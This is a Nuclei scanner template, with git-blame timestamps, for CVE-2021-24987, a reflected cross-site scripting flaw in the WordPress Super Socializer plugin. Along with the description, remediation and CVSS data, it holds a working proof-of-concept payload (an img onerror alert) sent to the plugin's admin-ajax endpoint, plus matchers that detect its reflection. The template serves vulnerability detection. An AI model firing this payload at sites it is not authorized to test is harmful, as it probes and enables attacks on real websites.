nuclei-templates/http/cves/2021/CVE-2021-24987.yaml

50 lines
2.0 KiB
YAML
Raw Normal View History

2022-04-15 13:50:49 +00:00
id: CVE-2021-24987
info:
name: WordPress Super Socializer <7.13.30 - Cross-Site Scripting
2022-04-15 13:50:49 +00:00
author: Akincibor
severity: medium
description: WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
2023-09-06 12:09:01 +00:00
remediation: |
Update to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability.
2022-04-15 14:40:28 +00:00
reference:
- https://wpscan.com/vulnerability/a14b668f-812f-46ee-827e-0996b378f7f0
- https://nvd.nist.gov/vuln/detail/CVE-2021-24987
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24987
cwe-id: CWE-79
epss-score: 0.00086
epss-percentile: 0.35806
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:heateor:super_socializer:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: heateor
product: super_socializer
2023-09-06 12:09:01 +00:00
framework: wordpress
2024-01-14 09:21:50 +00:00
tags: cve2021,cve,wpscan,xss,wp,wp-plugin,wordpress,heateor
2022-04-15 13:50:49 +00:00
http:
2022-04-15 13:50:49 +00:00
- method: GET
path:
2022-04-15 14:40:28 +00:00
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)>'
2022-04-15 13:50:49 +00:00
matchers-condition: and
matchers:
- type: word
part: body
2022-04-15 14:40:28 +00:00
words:
- '{"facebook_urls":[["<img src=x onerror=alert(document.domain)>"]]'
2022-04-15 13:50:49 +00:00
- type: word
2022-04-15 14:40:28 +00:00
part: header
2022-04-15 13:50:49 +00:00
words:
- "text/html"
2022-04-15 14:40:28 +00:00
- type: status
status:
- 200
# digest: 4a0a0047304502210096d8f1868d693086f20f0af25eab09237db19aeaec275fecbfa6b798994b7c1a02201027d6caa36747c45fdb064c2872c2c5f5aef5e5be355b707b78067916897dbd:922c64590222798bb761d5b6d8e72950